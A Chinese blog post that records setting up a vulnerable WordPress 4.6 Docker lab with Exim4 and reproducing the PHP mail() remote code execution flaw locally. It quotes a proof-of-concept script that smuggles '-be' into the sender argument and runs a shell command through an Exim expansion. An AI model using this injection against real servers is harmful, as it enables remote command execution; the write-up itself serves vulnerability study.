这篇文章主要是记录下搭建漏洞测试环境的过程,然而从中午开始,断断续续的一直折腾到凌晨,只是搭建了成功了本地能复现的环境,并没有实现远程复现。
究其原因,主要是固执到一直想用daocloud来搭建测试环境,坑好多,花了太多时间来填坑了,记录下过程。
docker pull wordpress:4.6-php5.6-apache docker pull daocloud.io/library/mysql:5.7 docker run --name some-mysql -e MYSQL_ROOT_PASSWORD=xxxx -e MYSQL_DATABASE=wdpress -d daocloud.io/library/mysql:5.7 #启动1个名称为wordpress的容器,链接了some-mysql容器用来存储数据,并指定了some-mysql容器中有关数据库的一些配置 docker run --name wordpress --link some-mysql:mysql -p 80:80 -e WORDPRESS_DB_NAME=wdpress -e WORDPRESS_DB_USER=root -e WORDPRESS_DB_PASSWORD=xxxx -d wordpress:4.6-php5.6-apache
以上环境可以安装成功wordpress,蛋疼的是使用密码重置功能,一直提示mail()函数可能被禁用。主要问题是没有配置sendmail_path的地方.
apt-get install exim4
安装exim4之后,还是find不到sendmail,折腾很久之后果断放弃了用daocloud。接着使用了网易蜂巢,直接pull了官方推荐的lamp镜像,运行容器之后,接着安装了exim4,然后发现了如图所示:
不需要做其它的配置,就可以成功使用wordpress的密码重置功能,接着用php mail()远程代码执行漏洞paper中给出的本地测试脚本,可以成功复现:
<?php // RCE via mail() vector on Exim4 MTA // Attacker's cmd is passed on STDIN by mail() within $body // Discovered by: // Dawid Golunski - @dawid_golunski - https://legalhackers.com $sender = "nxadmin@anyhost -be"; $body = 'Exec: ${run{/bin/bash -c "/usr/bin/id>/tmp/nxadmin"}{yes}{no}}'; // ^ unfiltered vars, coming from attacker via GET, POST etc. $to = "john@localhost"; $subject = "Exim RCE PoC"; $headers = "From: s1ma@localhost"; mail($to,$subject,$body,$headers, "-f $sender "); ?>
会创建/tmp/nxadmin文件,其中有/usr/bin/id命令的执行结果,如图:
本地测试成功了,远程复现的话可能还需要满足SERVER_NAME有关的条件,明天继续!